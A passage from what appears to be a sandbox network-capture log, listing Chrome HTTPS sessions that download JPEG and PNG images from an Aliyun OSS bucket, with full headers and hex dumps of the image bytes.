r@8psmJf$LG[,hR9,n/4_VfM[cZLMx{Z.QJ',p\1}`*s}&67=ooombUw2&W/wH{\|xguG+l%]ZBsDyb4)R9Vh\}6ez;/<OODi2
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 9f e5 4d 46 d4 94 cb 7a 6d c4 d9 b3 a9 d3 e0 e4 cb 1b b3 20 9c fd 23 d2 97 ec 1b 83 e3 85 a8 77 28 fc 66 67 1c f4 23 63 1c e8 4e 53 a4 37 74 34 cd f8 88 20 41 cb 73 91 cc 8e ad 96 3a ae 18 b3 0c c2 68 14 11 c9 9e 20 62 21 35 92 47 37 75 c2 d2 12 be 2b 86 ea 2c 74 1b 11 d3 92 ca b7 86 c2 86 2c 11 e6 3b b4 d4 e7 b6 a8 ba d9 85 37 38 70 e1 e0 56 31 8d 7a 0a 59 87 97 d1 74 b9 5d 78 7a a3 62 f2 14 bc 2a 6e 15 60 d6 bb 7f 34 b3 2e 01 8f 41 4d 7d 41 f2 84 2b 93 8d 23 30 a6 d3 34 d6 e5 6a 60 54 65 2d c0 bc c0 e3 09 8b 02 b5 11 4d 9f bf ea 6b d7 b7 aa d0 ac f8 65 3a f6 bb 0a b7 41 08 2b 48 f8 83 75 6e 10 ba 1c b9 f8 bd ae 5d 97 ad 78 35 dc ea a6 97 bf 38 99 bb 36 83 74 ad e1 46 a8 8d 0b 22 e0 b8 a3 ab 4b 32 c0 cc 9d a8 a5 8c 81 ab 0d cf 0a b7 35 19 15 d4 c6 8a 4c Data Ascii: MFzm #w(fg#cNS7t4 As:h b!5G7u+,t,;78pV1zYt]xzb*n`4.AM}A+#04j`Te-Mke:A+Hun]x586tF"K25L
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: f4 cb a5 ec 26 b0 3c 92 bf 93 14 bb 8f 38 38 21 b3 af 8e cd b6 30 4a 8e ce b4 0b b9 3e 3c ec 7f a2 56 59 0f 88 28 6c 7f 99 e9 ac 1e db 52 37 77 03 a1 5a 3e 6e 1a e2 ef e9 5a d6 42 f1 cb 7d 68 73 e9 7e b0 f2 56 d9 c1 75 57 5a 84 c0 46 66 f9 8b 86 3f 48 fa 54 76 33 f5 58 f2 e2 b5 2a b5 35 c1 ef 5b 33 7d 8d 45 55 32 68 d6 84 9d a7 e6 54 e0 dc 6b b0 74 f4 2d ae c5 bd c8 c8 66 44 6e ab 9d 6c d6 60 19 c4 e2 42 e9 bc aa a8 9f 33 1f 94 1b c9 9e 3f 93 6e b5 c3 64 37 7c 79 6c c9 b7 fd 1e dc 2c 89 3d cc 82 66 cc cd 88 18 c8 80 fa e9 a8 f9 35 4e ab e2 55 0e d3 f6 97 06 b8 5e 28 5e 4e b9 66 72 3d 98 5c 89 68 74 f2 6b a9 13 5d 33 a7 9c bc 0c d8 d7 81 3e f2 7b 71 8e 72 16 b9 b1 88 9e 08 e7 dc 1a 2d ba bf 3e 73 2f f0 72 79 2e 7f 59 9e 14 e7 25 2f 86 b5 80 a3 65 d7 d6 fa Data Ascii: &<88!0J><VY(lR7wZ>nZB}hs~VuWZFf?HTv3X*5[3}EU2hTkt-fDnl`B3?nd7\|yl,=f5NU^(^Nfr=\htk]3>{qr->s/ry.Y%/e
2024-09-27 03:51:00 UTC	7183	IN	Data Raw: 4c 13 10 2a 4c 23 08 65 90 7f 76 ce ee 30 ea b7 75 91 3d 94 61 58 3f 58 46 fc d3 9b 9c a0 69 66 fd b0 74 bb 93 c6 c1 c1 2c 6e 4f 73 02 31 9c 4c 94 9f da 66 e3 e6 7a 42 65 6e b8 e3 f8 77 77 2a ce 4b f4 66 ab 7a 71 d4 30 14 2b 20 69 4a a2 ad fa 8d c1 a7 27 9f 27 79 f1 a4 3c bc ae 8e 7e 65 2d 2e 25 b7 9d 2b 78 dd 2b de 08 64 23 ac 9c de d8 74 dd fe ec 2c bd db 35 f3 67 49 81 64 9c 1b d1 de 63 66 08 7b b3 c4 ec eb 54 24 d5 76 fc 98 e8 5f 11 4e ec 2f 12 7c a3 4b 73 92 44 25 2e d9 e7 41 5f c4 16 1d 5f 1b 31 b7 98 ca 27 c5 59 a6 fb 97 c5 96 f0 7b 9b c9 1b 55 a5 f8 54 da 67 2d 0a 73 9f cb c1 bd 33 3e a8 25 24 7c ce 55 e5 86 33 51 b9 62 e8 cc e5 e4 98 40 6d cb bd ca 74 50 eb c0 6f b3 ea df 7c 2c d5 d9 e5 93 55 e7 55 63 89 85 c3 bd b5 0c 1b 1b c5 31 73 e6 15 56 69 Data Ascii: LL#ev0u=aX?XFift,nOs1LfzBenwwKfzq0+ iJ''y<~e-.%+x+d#t,5gIdcf{T$v_N/\|KsD%.A__1'Y{UTg-s3>%$\|U3Qb@mtPo\|,UUc1sVi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49841	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	424	OUT	GET /sichuang/images/2023/03/29/image_1680077839_kq8Vu7xF.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/jpeg Content-Length: 53833 Connection: close x-oss-request-id: 66F62BA4B4F3D43433524DBF Accept-Ranges: bytes ETag: "09BC360A0EB088873CB0B32DE9FC7BCB" Last-Modified: Mon, 29 Jan 2024 03:34:08 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 17632089441136503933 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Cbw2Cg6wiIc8sLMt6fx7yw== x-oss-server-time: 0
2024-09-27 03:51:00 UTC	15838	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 28 af 99 2e 13 33 c6 79 c0 e7 67 fc 59 05 be 98 59 35 f3 48 4e 85 db 08 5b 01 dc c5 b5 18 2d 5c a4 ed a3 f3 db 3c ca 3e b5 d5 df 01 60 f5 07 58 89 d0 f9 a0 c9 9e 74 62 6e 9b 7f 31 e1 1f 90 85 f7 78 37 f2 95 dd 53 16 de 57 b5 96 c3 65 f3 58 34 e8 08 5e 0e f0 7b ee fb 1c 45 7b 4a 4f 2e 68 3c c1 c2 18 1b 67 1e 70 4f 59 6a db 99 3b fd f2 f7 51 ca 15 1d 7e 81 4e 85 47 5f a0 42 1c ab d3 7b 6b bd 27 27 3d 98 ee d5 ab e3 42 9d 03 1c 6d 1d f7 eb 52 2d d2 39 ce cd e7 79 37 74 2c 9b d4 cf 75 0a 14 0c 71 b0 77 df a5 b9 82 f3 c3 a2 d9 93 7c f1 3e 51 73 06 41 cd f5 52 eb 67 67 8c a9 35 35 9f fc a1 2e 22 88 d3 0f 1a 18 49 38 d7 2d 19 6a 18 9a f1 e2 5d 94 ab 30 de 38 f4 51 d3 52 ee 1d 16 9e 32 ca d1 71 34 89 72 a1 18 3e 33 c1 b9 98 eb ef 98 16 ec 19 ac 6b e7 c6 14 a3 31 Data Ascii: (.3ygYY5HN[-\<>`Xtbn1x7SWeX4^{E{JO.h<gpOYj;Q~NG_B{k''=BmR-9y7t,uqw\|>QsARgg55."I8-j]08QR2q4r>3k1
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: dd 86 2e ce ae 9f 06 63 68 c7 9d f5 c2 69 ce ac 2f 28 c4 3f 56 68 e0 a5 95 55 26 a0 6b 30 37 1e 75 28 b8 42 59 d9 ff 00 75 cc 01 ff 00 55 3f 7d 16 61 f4 7f c4 6c f5 e0 31 dd 11 24 cb 6f a4 3e 1e 13 95 75 8e f7 a8 03 1a 79 43 ab 22 3a 38 6b f4 6c a9 90 b3 9e 0d c0 c4 7c 41 43 f5 62 da cb d1 6c 5b 3a 6e 31 c8 8e ac e6 db b1 2d b3 96 a8 c5 62 36 cb 8f 4f 15 8c 2c e1 3b 64 98 7a ce ab d8 fb 29 44 f4 d5 aa cb 88 01 4f 34 eb f9 e9 a6 b4 7d 20 c2 5d a7 de 8b 76 36 0c 6e 95 76 ba 39 42 9b 27 31 a1 65 77 73 be 3d cd 20 d9 8b 57 cf 39 b5 78 46 af 41 a9 6d 21 1c 82 f4 70 53 c6 64 7c 34 4c 23 c3 17 72 c5 1c 9e 8e 18 81 b0 5e 76 56 b6 c3 f6 4a 95 d3 ca da 3e e3 1d b8 ed ab 05 3a 19 1c 83 0f 13 5e e4 ff 00 47 59 11 a8 26 93 ff 00 bb e6 8f 95 79 d0 73 de 0c 41 1a 20 96 Data Ascii: .chi/(?VhU&k07u(BYuU?}al1$o>uyC":8kl\|ACbl[:n1-b6O,;dz)DO4} ]v6nv9B'1ews= W9xFAm!pSd\|4L#r^vVJ>:^GY&ysA
2024-09-27 03:51:00 UTC	5227	IN	Data Raw: c7 99 7f ab e7 36 6a 9e ae 31 95 d4 1e 7b eb 6c f5 0e 4a 9a 6e 6c a6 3b da 61 e9 c4 26 2e b0 32 2f a9 0a ce 0f fe f7 41 e0 8c 7d df b3 af 25 7f 33 c4 05 c4 fd a9 55 42 b6 23 ff 00 d4 e9 9f 0a 33 41 fd e9 9f 70 dd 0d bb ca 5a 9e 4c 75 69 f1 bb d7 ed 6d aa 38 a8 79 28 6a 0d 51 40 45 05 68 a2 b5 d4 2d 1c 0c 10 ca 79 f1 04 99 70 c2 0f d4 83 e8 a8 20 e3 fd 67 f2 67 eb 97 af f2 5b ca 5f ea 37 5b 86 e2 b4 60 f9 21 f2 75 26 b0 61 49 36 22 ad 44 e2 62 90 69 61 13 5c 88 08 1c 13 ce 9a 55 af 9d 34 f3 e9 a3 33 ec 2d f3 6f 9a f4 6d 0f f5 ca 43 eb 97 9b f9 ff 00 dc 8f a8 dd 6e 1b 8a 50 13 f2 55 d4 39 73 01 98 7a 2c ad 73 56 2e 06 eb a1 f9 f1 04 9f 36 1c be f4 aa 08 26 3c 35 6e a4 fe bc 7a bc ef 0b ca 19 11 d7 1f 50 9e 04 2c 80 f2 71 43 00 b8 20 d5 a2 6a d0 85 ff 00 f1 Data Ascii: 6j1{lJnl;a&.2/A}%3UB#3ApZLuim8y(jQ@Eh-yp gg[_7[`!u&aI6"Dbia\U43-omCnPU9sz,sV.6&<5nzP,qC j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49847	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:00 UTC	424	OUT	GET /sichuang/images/2023/05/30/image_1685441425_t028G50I.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/png Content-Length: 11670 Connection: close x-oss-request-id: 66F62BA47F9C793233991C1E Accept-Ranges: bytes ETag: "865B8AFC5077ADC928EDD83AE9A5BBF6" Last-Modified: Mon, 29 Jan 2024 03:33:32 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 15617560744721482208 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: hluK/FB3rcko7dg66aW79g== x-oss-server-time: 2
2024-09-27 03:51:00 UTC	11670	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRE-tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49846	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:00 UTC	659	OUT	GET /sichuang/images/2023/04/07/image_1680859659_Or5EQBve.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/png Content-Length: 85404 Connection: close x-oss-request-id: 66F62BA423D93A33372AC618 Accept-Ranges: bytes ETag: "469759B134586E89B4B93E8C6EA3A74D" Last-Modified: Mon, 29 Jan 2024 03:33:47 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 581197785291337088 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: RpdZsTRYbom0uT6MbqOnTQ== x-oss-server-time: 16
2024-09-27 03:51:00 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 01 2c 08 06 00 00 00 9c d5 36 e8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR,6tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: b6 d1 7c e5 b8 a2 4d 2e f1 04 4f d7 b7 ba b7 8e 2f 66 be b0 b6 b2 1a 30 59 0c c8 f0 c0 7a c3 24 8e 36 12 cd 63 16 87 c1 cf 97 b9 b3 72 e5 ca 75 22 c4 d7 17 b3 e2 7a 08 d3 84 1c f3 bd 89 39 04 19 df 65 98 be 7a 2e e2 d3 5b c1 95 26 e2 ba e7 6e bc 2f 4c 38 eb a4 e4 93 9e a1 01 cc ba 01 c4 8c 60 21 c8 34 8f ac d3 b2 56 1d 2b 75 2b 9d 3f d9 55 82 99 b3 19 58 5d d7 c4 a8 b4 d1 6a 6e dd 86 2c b8 d3 e5 7a d2 37 3f 13 37 d7 25 d2 e3 9c 15 12 27 ea ff 97 b5 bf 7e 6b 68 55 cd 00 96 7d 5b 1a 9c 47 7a ad ab 95 76 b9 d3 d4 ef 9c 56 b4 c4 f3 39 e7 ca 58 6f c2 45 c3 4b c6 9a 54 af 59 7d 43 6b 0b 37 eb bf 8b 3f d9 45 6e 5f 5d 7b 8c 2b da ea fc 32 07 64 96 79 63 c1 e8 54 33 ba 3a b6 2f 5a c0 c2 58 38 fb d4 8c d4 af 1d 5a 42 c7 26 bd 5a 73 e0 20 3f 0e f7 06 52 3e 66 36 96 Data Ascii: \|M.O/f0Yz$6cru"z9ez.[&n/L8`!4V+u+?UX]jn,z7?7%'~khU}[GzvV9XoEKTY}Ck7?En_]{+2dycT3:/ZX8ZB&Zs ?R>f6
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 59 b2 db 20 f1 a7 15 42 d7 fd 9a b1 a1 df 42 1e bf 54 bb 6b 84 c0 76 4d 01 20 fd 4b eb 22 12 5a 4c 17 e8 ff 57 c7 99 b7 c3 34 73 49 40 7b e2 08 1c f7 f0 c0 cc 2c 94 66 c0 b4 9c 14 04 b0 52 db ac 84 6a cc ad 99 b7 b8 ab 02 65 df 1a 49 4d 54 ce 69 d2 21 d6 7e ce 04 f3 6c 0b 10 b8 39 aa 86 c0 b6 32 ec 64 d0 88 94 a3 36 a1 de 2c b5 34 9e 6f 9e 7f 64 90 f1 5c 2f 04 d0 45 ab 56 a6 e5 cc cc 40 22 77 88 36 29 20 d1 54 79 ec 20 b6 3a a7 cf b3 e8 99 fe 46 64 68 c2 d5 25 33 0f 58 a8 cd 2a 90 19 a8 96 2e 2d b8 c0 15 21 e2 87 5d 7e bb 5c 0b 33 d6 f7 f9 d5 d6 ce a4 e9 cb 02 50 59 54 8c 77 4f c5 04 5a b8 f4 eb a6 9f 49 70 c1 5d 79 6d 32 a6 f5 dc ab 09 ef 18 9a ba 2e b7 46 6f 3b cf 96 46 55 e0 54 90 fb d4 4c 7b e6 4a 0f 66 60 b9 a7 51 dc eb aa 9e 67 db 67 37 19 86 ac 02 Data Ascii: Y BBTkvM K"ZLW4sI@{,fRjeIMTi!~l92d6,4od\/EV@"w6) Ty :Fdh%3X*.-!]~\3PYTwOZIp]ym2.Fo;FUTL{Jf`Qgg7
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 06 e9 dc cb 78 e6 1b e8 fb 9f 5c ca ef 92 ab b8 77 2f ee 9d 8e e7 ff 12 12 86 be 2c ff 40 9b ef a5 96 0c 73 b1 8f 23 2e 97 b6 2a a4 a7 f6 b2 d4 9f 22 fc 04 a8 dc 8e 34 10 ed 7d 78 f7 53 61 52 d6 9b 84 76 5f 98 e2 f1 fc 7e 15 7b 88 b1 58 3f 27 73 00 8f b0 84 b1 5c 87 fb 9f c8 4b 7a 95 d1 cf a9 a8 f3 06 cc cb df 41 88 6f 89 3d f3 21 20 4b 46 1f 9a c8 7a 95 ec 84 44 ba ce 94 22 48 90 80 91 84 4b 69 e3 b5 3e 84 17 94 9c f3 7d 3a e0 b9 e9 9b f6 b3 9c 6a a5 da a7 b4 cd ed bd 25 91 14 b1 88 76 ef c0 6f 4b 5d ba 2d 67 3d cd b9 fb c2 e8 52 e8 4a c1 34 69 fa 5c 62 2e c7 65 b7 7b 95 83 be 0b 30 5c 0b 96 9a c4 78 24 99 54 82 ee 91 51 b2 a2 a1 a5 04 78 6a 82 e2 97 33 04 d5 c2 1d 5a 79 81 17 f7 3b de 3f 00 7d 39 23 42 ee 3a bc 9c 81 f1 9e e7 f3 99 86 03 4c ed f1 c5 1c Data Ascii: x\w/,@s#.*"4}xSaRv_~{X?'s\KzAo=! KFzD"HKi>}:j%voK]-g=RJ4i\b.e{0\x$TQxj3Zy;?}9#B:L
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: dd e7 7a 2a e7 80 8f 5d fb b2 96 b8 ea 29 60 26 92 ea 89 d9 4d 95 ac 7b 0c 63 fb 98 99 15 1d 84 bd b6 37 3e 09 bb 9e c6 3c 7c c9 89 12 f4 65 57 3d ab 08 1c b8 f7 18 90 e4 1d 4c 2c 06 c2 e9 f3 78 e7 6e 9e 61 c2 1a da b2 33 91 1e e6 fa 80 68 e7 27 31 c7 8d da 6f b5 46 75 08 49 d9 81 98 c7 ad 6d 1f b1 9f 74 0c fd 38 ea ba a7 5e bb 7f fa 14 d1 bc 2d 91 20 73 c3 0c ad 40 b8 9f 1f da da 52 10 ed 2b 98 41 fa 39 42 fd 0c 05 b9 b7 34 95 9e f1 55 30 0b 73 f8 0a 9e fb 3d 88 8f 99 1e 5a 34 cb 34 c1 c3 e2 fa 9e ad 06 d3 82 68 a1 59 c4 5e 20 66 4e 97 39 a3 ec b0 25 5d 96 4d 30 19 d2 d0 b6 94 22 79 d6 68 86 f2 74 c2 31 42 98 76 fa 42 f1 d9 c8 f6 39 05 f5 3e 9e 25 34 a9 37 8a 87 04 4d 82 75 19 e5 46 ec b5 1b 75 b6 d8 3f 12 ea 4e ac c6 9c 6f 8b eb bd d2 7e a1 8f bf a4 2f Data Ascii: z*])`&M{c7><\|eW=L,xna3h'1oFuImt8^- s@R+A9B4U0s=Z44hY^ fN9%]M0"yht1BvB9>%47MuFu?No~/
2024-09-27 03:51:00 UTC	4028	IN	Data Raw: 2e 65 c6 55 70 90 04 5a 1e c3 b2 a5 a1 cb 13 73 8c 05 2b f0 4c 73 5b 99 54 ea 68 d4 9e 4a 94 d9 6e 75 bd d0 88 92 dd 69 37 2d f6 c5 38 23 6d 60 55 f0 7d 6e 43 55 c2 5c 69 f5 6b e2 52 34 58 2d 13 ad ac cf ad 10 d2 77 2a c6 bb 95 2d 2c 84 f6 21 93 17 17 da 85 a0 de 67 d1 c0 45 70 2c 84 df 1f f3 14 15 14 cc a1 c0 78 9d 3b f1 bd 30 59 25 ba 4f a5 20 87 ed d4 98 2f 69 3c 11 f8 cf 18 ae 61 51 6f cc 5f d1 5e 58 06 77 c7 79 5f a4 f0 15 fd 83 89 da 4e c5 b6 6f b1 9c d0 92 5f c3 d8 27 b4 ad 43 f1 21 8b d5 14 b4 d9 fd c8 08 84 ed 8f 50 98 23 b3 0d dd 1c 98 a8 86 7d 52 5a 77 f4 a5 0d b9 e8 62 7b 0e 1f 75 b2 a2 70 75 49 ea 3f 6a 7b b9 78 5f 8f 7d 83 73 16 5d c5 5b 69 bf 79 1c d1 02 b9 8a e1 aa 09 98 65 fd 30 f4 cf b1 98 43 c6 a0 0e 27 90 b9 48 96 01 22 fa ed 5d 8b 16 Data Ascii: .eUpZs+Ls[ThJnui7-8#m`U}nCU\ikR4X-w*-,!gEp,x;0Y%O /i<aQo_^Xwy_No_'C!P#}RZwb{upuI?j{x_}s][iye0C'H"]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49849	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:00 UTC	424	OUT	GET /sichuang/images/2023/03/29/image_1680077868_K8782u19.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/jpeg Content-Length: 105110 Connection: close x-oss-request-id: 66F62BA4B4F3D43739FE4DBF Accept-Ranges: bytes ETag: "9471D9F426CF275B304AAD329B46C5D1" Last-Modified: Mon, 29 Jan 2024 03:34:08 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11885912310223398547 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: lHHZ9CbPJ1swSq0ym0bF0Q== x-oss-server-time: 1
2024-09-27 03:51:00 UTC	15837	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 16 35 6c 6d 13 2d 11 12 36 f7 3d ee 78 88 3e 23 00 88 bd d8 8c 91 69 59 2a 35 43 ac 8b 40 ea ea a4 48 a1 92 80 e0 3c 47 43 39 af 4c 27 ce 09 47 b8 78 55 b7 92 67 66 51 ba db b1 d8 7b 4c 44 a8 c1 11 4a a3 2d 18 0a 26 3f 67 cd 6a 87 8a 91 a9 0f fa 66 ec 3d fb 12 99 cb 7d 72 39 f8 c6 6d 76 b0 08 d8 08 7f c0 41 fd 8f 7a 09 16 c8 cd 48 2e bb 3e a5 9a 77 ff 00 1f 6f 76 e9 f6 37 0f c5 c9 20 b2 74 ff 00 84 63 c2 3a 53 60 f7 aa f5 5e 36 9b 2a 73 96 8c 71 80 70 55 bd ae e2 11 e6 79 ae d2 da fa 71 16 7a 51 f0 7f 9b 3a d5 0f 6c 7e 2d 33 ff 00 df 06 07 a3 d9 21 5e 32 b1 eb 4b 31 c9 99 3b 58 6b 21 bf 61 23 fe f9 ae e1 b9 1a ec 1a aa cb 65 aa d0 cb 59 0b fc 2e 1e e0 